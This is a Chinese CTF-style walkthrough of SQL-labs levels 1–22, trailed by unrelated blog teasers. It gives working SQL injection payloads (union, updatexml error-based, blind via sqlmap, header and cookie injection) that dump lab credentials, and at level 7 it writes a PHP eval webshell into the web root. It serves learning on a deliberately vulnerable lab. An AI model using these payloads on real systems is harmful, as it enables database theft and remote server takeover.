SQL-labs通关(level1-22)
SQL-labs靶场详解
靶场下载
靶场下载地址
关卡
level1联合注入
用order by语句来查询字段数
顺便提一下,使用联合注入语句union select也可以查询字段数,在不能使用order by的情况下,可以使用union select来查询字段数。
这里我们通过查询得知了字段数为3,且回显位是2和3.直接构造语句即可
?id=-1' union select 1,database(),3--+ //得知库名为security
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+ //表有emails,referers,uagents,users
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+ //字段有id,username,password
?id=-1' union select 1,(select group_concat(id,username,password)from users),3--+ //得到1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5st………………
相关语句
已知库名查表名
group_concat(table_name) from information_schema.tables where table_schema='database name'
已知表明查字段
group_concat(column_name)from information_schema.columns where table_name='table name'
查字段
group_concat(a,b,c)from table name --+ a,b,c字段名
查注释 //使用下面的语句可以查询表的注释,在一些ctf题目中,flag可能会藏在注释中
group_concat(concat(column_name, ': ', column_comment) separator '; ') as column_comments from information_schema.columns where table_schema = '库名' and table_name = '表名'
level2整数注入
与上一题payload相差不大,只需将payload首个字母的单引号去掉即可
level3')
闭合
开局?id=1‘order by 3--+起手,发现报错信息是:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') LIMIT 0,1' at line 1
意识到这里存在括号和单引号的闭合问题,反括号闭合以下试试看
?id=1')order by 3--+发现回显正常,后面参考关卡1即可
level4")
闭合
这里应该考的是使用双引号和括号闭合
但是使用?id=1‘order by 3--+起手,发现能正常回显,不得不说起手这招太强大啦
不管使用什么闭合方式,只要能正常的回显,就是成功的,后续操作参考关卡1
level5报错注入
依旧?id=1‘order by 3--+起手
再测试?id=1‘order by 4--+,发现报错回显:Unknown column '4' in 'order clause'
尝试报错注入
?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //回显XPATH syntax error: '~security~'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+ //回显XPATH syntax error:'~emails,referers,uagents,users~'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)--+ //XPATH syntax error: '~L_CONNECTIONS,id,username,passw'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)--+//XPATH syntax error: '~Dumb----Dumb,Angelina----I-kill' //这里回显位有限,不能同时看到,可以通过修改payload中的值来修改回显的数据
报错注入相关语句,这里的payload是整数型,在字符型注入中记得加入'
或其他闭合问题
爆库
?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
爆表
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,31),0x7e),1)
爆列名
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)
爆内容
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)
level6报错注入
这里考察的依旧是报错注入,和第五关不同的是,这里是使用双引号来闭合,只需要将上一关payload中的单引号换为双引号即可
level7文件上传
在输入?id=1时,发现回显You are in… Use outfile…
怀疑可能存在文件上传,这时要先确定,配置文件中控制文件上传的参数secure_file_priv要为空
关于这个参数,还有进行UDF提权
的可能,具体见往期博客Mysql提权
payload
?id=1')) union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "C:\\phpstudy_pro\\WWW\\1.php" --+
然后使用蚁剑连接http://111.111.111.111/1.php,即可
还可以
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
直接在地址栏键入http://localhost/aaa.php即可
level8布尔盲注
布尔盲注是SQL注入的一种高级技术,当Web应用存在SQL注入漏洞但不会直接返回查询结果或错误信息时使用。它的核心原理是通过构造真/假条件,观察页面返回的差异来推断数据。
我们可以用id=1和id=-1来进行测试,发现正确查询和错误查询的回显不一样,符合布尔盲注的条件
这里可以直接使用sqlmap工具
爆库:sqlmap -u sqlmap -u http://111.111.111.111/sql/Less-8/?id=1 --current-db
…………………………
level9时间盲注
用id=1和id=-1来进行测试,发现正确查询和错误查询的回显一样,符合时间盲注的特征
这里还是可以直接使用sqlmap工具
爆库:sqlmap -u sqlmap -u http://111.111.111.111/sql/Less-9/?id=1 --current-db
返回:
[18:47:06] [INFO] retrieved: security
current database: 'security'
level10时间盲注
这里依旧时时间盲注,与上一关的不同是,这里使用“双引号进行闭合,但是如果我们使用sqlmap的话,可是说是没有影响
level11POST注入
这里我们使用Burpsuite进行注入
首先,我们在Username和Password两栏输入1’来测试,看看哪个可以进行sql注入,经过测试后,发现两个都行
注入思路
uname=1&passwd=1'order by 3#&submit=Submit //还是先查看字段数,发现字段数为2。
uname=1&passwd=1'union select 1,2#&submit=Submit //查看回显位
根据回显情况判断得出,1和2都是回显位。
uname=1&passwd=1'union select database(),2#&submit=Submit //成功回显出数据库名
剩下的操作参考level1即可
level12POST注入
测试得出该题是利用双引号和括号的组合")进行闭合,其他地方和上一题没有不同,payload参考上题即可
level13POST注入
测试得出该题是利用单引号和括号的组合’)进行闭合,其他地方和上一题没有不同,payload参考上题即可
level14POST报错注入
通过输入单引号,双引号,括号等,来测试出闭合方式,结果是双引号闭合
uname=1&passwd=1"or updatexml(1,concat(0x7e,(select database()),0x7e),1)#&submit=Submit //成功爆出库名
剩下的payload参考level5
level15盲注
无论注入什么都没有反应,画面也没用变化,看过wp后发现,原来是盲注,依旧选择使用sqlmap
这里的1.txt是将BP抓到的数据包全部复制进文件中
sqlmap -r '/home/lubai/Desktop/1.txt' --current-db
…………………………
level16盲注
这里依旧是盲注,只是闭合方式不同,但是对sqlmap没有影响,payload参考上一关
level17报错注入
这里使用order by 1/2/3/4/5/……都会报错,尝试一下报错注入
uname=admin&passwd=1'and (updatexml(1,concat(0x7e, database(),0x7e),1))# &submit=Submit
发现成功查到了数据库名,原来这里考察的是报错注入,后面的payload参考前面的关卡即可。
level18User-Agent注入
登录一下admin;1看看有什么东西
发现把请求中User-Agent请求头中的信息显示了出来,尝试在此编写语句进行sql注入。
这里由于闭合问题我卡了很久,最后看了WP才知道payload是
User-Agent:1'and (updatexml(1,concat(0x7e, database(),0x7e),1))and '1'='
这里我不明白报错函数后and '1'='是什么用处
后来求助了Deepseek才知道是为了闭合
level19referer注入
这里和上题除了注入点不同,其他的没什么区别,payload参考上题即可
level20Cookie注入
随便登录后,发现请求头中的Cookie中的内容显示在页面中
Cookie: uname=1' union select 1,2,3# 测试字段数的同时还能得到回显位,这里字段数是3个,且三个都是回显位
这时关卡就变成了简单的联合注入,payload参考第一关即可
level21Cookie+Base64编码注入
随便登录后发现依旧是将Cookie中的内容显示在页面中,只不过是一段乱码,看着像Base64编码,解码验证了这一想法,剩下的和上一关就一样了
level22Cookie+Base64编码+“闭合注入
和上一关很相似,Cookie的值被Base64加密过了,通过不断测试得知是双引号闭合的联合注入,只需将1"union select 1,2,3#
进行Base64编码即可,后续操作不再掩饰
结语
sql-labs的前22关考察的联合注入,报错注入,和盲注(布尔盲注和时间盲注)以及一些闭合问题,掌握了这些注入语句后还是很简单的。
声明
本文章学习自未知百分百。
本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!
相关文章:
SQL-labs通关(level1-22)
SQL-labs靶场详解 靶场下载 靶场下载地址 关卡 level1联合注入 用order by语句来查询字段数 顺便提一下,使用联合注入语句union select也可以查询字段数,在不能使用order by的情况下,可以使用union select来查询字段数。这里我们通过查询…...

【HarmonyOS5】UIAbility组件生命周期详解:从创建到销毁的全景解析
⭐本期内容:【HarmonyOS5】UIAbility组件生命周期详解:从创建到销毁的全景解析 🏆系列专栏:鸿蒙HarmonyOS:探索未来智能生态新纪元 文章目录 前言生命周期全景图详细状态解析与最佳实践🎬 Create状态&#…...
在命令行直接执行可以执行成功,加入crontab定时任务执行shell脚本不成功失败的问题解决方法
今天遇到在命令行直接执行可以执行成功,加入crontab定时任务执行shell脚本却不成功失败的问题,踩坑了很长时间 记录下我的解决方法 原来我的定时任务填写方式: [roottao ~]# crontab -l */10 * * * * /bin/sh /search/index.sh >>/dev/null 2&g…...

c++ 静态成员变量
Student.h头文件内容: #pragma once #include <string> using namespace std;class Student { public:string name;int score;static int totalScore; // 静态局部变量声明Student(string name, int score);~Student();void print() const; };Student.cpp源文…...
分布式爬虫代理IP使用技巧
最近我们讨论的是分布式爬虫如何使用代理IP。在我们日常的分布式爬虫系统中,多个爬虫节点同时工作,每个节点都需要使用代理IP来避免被目标网站封禁。怎么解决代理IP问题显得尤为重要。 我们知道在分布式爬虫中使用代理IP是解决IP封禁、提高并发能力和实…...

数据分析之OLTP vs OLAP
数据处理系统主要有两种基本方法:一种注重数据操作(增删查改),另一种注重商业智能数据分析。 这两种系统是: 联机事务处理(OLTP) 联机分析处理(OLAP) Power BI专为与OLAP系统兼容而构建&…...
Flask音频处理:构建高效的Web音频应用指南
引言 在当今多媒体丰富的互联网环境中,音频处理功能已成为许多Web应用的重要组成部分。无论是音乐分享平台、语音识别服务还是播客应用,都需要强大的音频处理能力。Python的Flask框架因其轻量级和灵活性,成为构建这类应用的理想选择。 本文…...
powershell 安装 .netframework3.5
在 PowerShell 中安装 .NET Framework 3.5 可以通过几种不同的方法实现,取决于你的操作系统版本。以下是几种常见的方法: 方法1:使用 DISM 命令 对于 Windows 10 和 Windows 8.1,你可以使用 DISM(Deployment Image Se…...

dvwa5——File Upload
LOW 在dvwa里建一个testd2.php文件,写入一句话木马,密码password antsword连接 直接上传testd2.php文件,上传成功 MEDIUM 查看源码,发现这一关只能提交jpg和png格式的文件 把testd2.php的后缀改成jpg,上传时用bp抓包…...
cv::FileStorage用法
cv::FileStorage 是 OpenCV 中的一个类,用于读取和写入结构化数据(如 YAML、XML、JSON)。它非常适合保存和加载诸如: 相机内参(K、D) 位姿(R、T) IMU 数据 配置参数 向量、矩阵、…...
Go 语言 := 运算符详解(短变量声明)
Go 语言 : 运算符详解(短变量声明) : 是 Go 语言中特有的短变量声明运算符(short variable declaration),它提供了简洁的声明并初始化变量的方式。这是 Go 语言中常用且强大的特性之一。 基本语法和用途 va…...

【优选算法】C++滑动窗口
1、长度最小的子数组 思路: class Solution { public:int minSubArrayLen(int target, vector<int>& nums) {// 滑动窗口// 1.left0,right0// 2.进窗口( nums[right])// 3.判断// 出窗口// (4.更新结果)// 总和大于等于 target 的长度最小的 子数组…...

关于GitHub action云编译openwrt
特别声明:此教程仅你有成功离线编译的经验后,使用下列教程更佳 不建议没有任何成功经验的人进行云编译 1、准备工作 使用GitHub云编译模板 GitHub - jxjxcw/build_openwrt: 利用Actions在线云编译openwrt固件,适合官方源码,lede,lienol和immortalwrt源码,支持X86,电…...
数据库学习(二)——MySQL语句
MySQL 语句分为: 语句类型作用关键字示例数据查询(DQL)查询数据SELECT数据操作(DML)插入、更新、删除数据INSERT, UPDATE, DELETE数据定义(DDL)定义或修改表结构CREATE, ALTER, DROP事务控制&a…...
AI Agent 架构设计:ReAct 与 Self-Ask 模式对比与分析
一、引言 (一) AI Agent 技术发展背景 🚀 AI Agent 的演进是一场从“遵循指令”到“自主决策”的深刻变革。早期,以规则引擎为核心的系统(如关键词匹配的客服机器人)只能在预设的流程上运行。然而,大语言模型的崛起为…...

sql入门语句-案例
Sql入门 数据库、数据表、数据的关系介绍 数据库 用于存储和管理数据的仓库 一个库中可以包含多个数据表 数据表 数据库最重要的组成部分之一 它由纵向的列和横向的行组成(类似excel表格) 可以指定列名、数据类型、约束等 一个表中可以存储多条数据 数据 想要永久化存储…...

A Survey on the Memory Mechanism of Large Language Model based Agents
目录 摘要Abstract1. LLM-Based Agent的Memory1.1 基础概念1.2 用于解释Memory的例子1.3 智能体记忆的定义1.3.1 狭义定义(肯定不用这个定义)1.3.2 广义定义 1.4 记忆协助下智能体与环境的交互过程1.4.1 记忆写入1.4.2 记忆管理1.4.3 记忆读取1.4.4 总过程 2. 如何实现智能体记…...

华为OD机试 - 猴子吃桃 - 二分查找(Java 2025 B卷 200分)
public class Test14 {public static void main(String[] args) {Scanner sc = new Scanner(System.in);while (sc.hasNext()) {String[] s = sc.nextLine().split(" ");int[] arr = new int[s.length-1];int count = Integer.parseInt(s[s...
提取数据区域中表格
查看本示例演示效果本示例关键代码的编写位置,请参考“开始 - 快速上手”里您所使用的开发语言框架的最简集成代码 在实际的开发过程中,有时会遇到希望提取Word文档中表格数据保存到服务器的需求,此时可以使用PageOffice提取Word文档数据区域…...

【设计模式-5】设计模式的总结
说明:介绍完所有的设计模式,本文做一下总结 设计模式介绍 博主写的设计模式博客如下: 【设计模式-1】UML和设计原则 【设计模式-2.1】创建型——单例模式 【设计模式-2.2】创建型——简单工厂和工厂模式 【设计模式-2.3】创建型——原型…...

【无人机】无人机UAV、穿越机FPV的概念介绍,机型与工具,证书与规定
【无人机】无人机UAV、穿越机FPV的概念介绍,机型与工具,证书与规定 文章目录 1、无人机的定义、概念、技术栈1.1 无人机的概念1.2 无人机技术(飞控,动力,通信) 2、无人机机型2.1 DJI无人机 (航拍…...

链表好题-多种实现
143. 重排链表 - 力扣(LeetCode) 这道题非常经典,很多大厂都作为面试题。 方法一:寻找中点翻转链表合并链表 class Solution { public:void reorderList(ListNode* head) {if (head nullptr) {return;}ListNode* mid middleNo…...

oracle数据恢复—oracle数据库执行truncate命令后的怎么恢复数据?
oracle数据库误执行truncate命令导致数据丢失是一种常见情况。通常情况下,oracle数据库误操作删除数据只需要通过备份恢复数据即可。也会碰到一些特殊情况,例如数据库备份无法使用或者还原报错等。下面和大家分享一例oracle数据库误执行truncate命令导致…...

OneNet + openssl + MTLL
1.OneNet 使用的教程 1.在网络上搜索onenet,注册并且登录账号。 2.产品服务-----物联网服务平台立即体验 3.在底下找到立即体验进去 4.产品开发------创建产品 5.关键是选择MQTT,其他的内容自己填写 6.这里产品以及开发完成,接下来就是添加设…...

分享两个日常办公软件:uTools、PixPin
1. uTools 网址:https://u.tools/ 这是一个高效智能的在线工具平台。 特点: 专为提升用户的工作效率跟生活便利性设计。 优点: 1:由国内团队开发。 2:通过插件化的方式为用户提供多样化的功能支持。 3…...

Golang基础学习
初见golang语法 go项目路径 cd $GOPATH //ls可以看到有bin,pkg,src三个文件 cd src/ mkdir GolangStudy cd GolangStudy mkdir firstGolanggo程序执行: go run hello.go//如果想分两步执行: go build hello.go ./hello导入包的方式 import "f…...
[学习] GNSS信号跟踪环路原理、设计与仿真(仿真代码)
GNSS信号跟踪环路原理、设计与仿真 文章目录 GNSS信号跟踪环路原理、设计与仿真一、GNSS信号跟踪环路概述二、跟踪环路基本原理1. 信号跟踪的概念与目标2. 锁相环(PLL)原理3. 锁频环(FLL)原理4. 延迟锁定环(DLL&#x…...
Python实例题:Python计算微积分
目录 Python实例题 题目 代码实现 实现原理 符号计算: 数值计算: 可视化功能: 关键代码解析 1. 导数计算 2. 积分计算 3. 微分方程求解 4. 函数图像绘制 使用说明 安装依赖: 基本用法: 示例输出&#…...
如何判断指针是否需要释放?
在 C 中判断一个指针是否需要释放可以考虑以下几个方面: 一、确定指针的来源 1. 动态分配的内存: 如果指针是通过new、new[]、malloc、calloc等动态内存分配函数获取的,那么在不再需要该内存时,必须手动释放。 例如:…...
Spark 之 AQE
个人其他链接 AQE 执行顺序https://blog.csdn.net/zhixingheyi_tian/article/details/125112793 AQE 产生 AQE 的 循环触发点 src/main/scala/org/apache/spark/sql/execution/adaptive/AdaptiveSparkPlanExec.scala override def doExecute(): RDD[InternalRow] = {withFin…...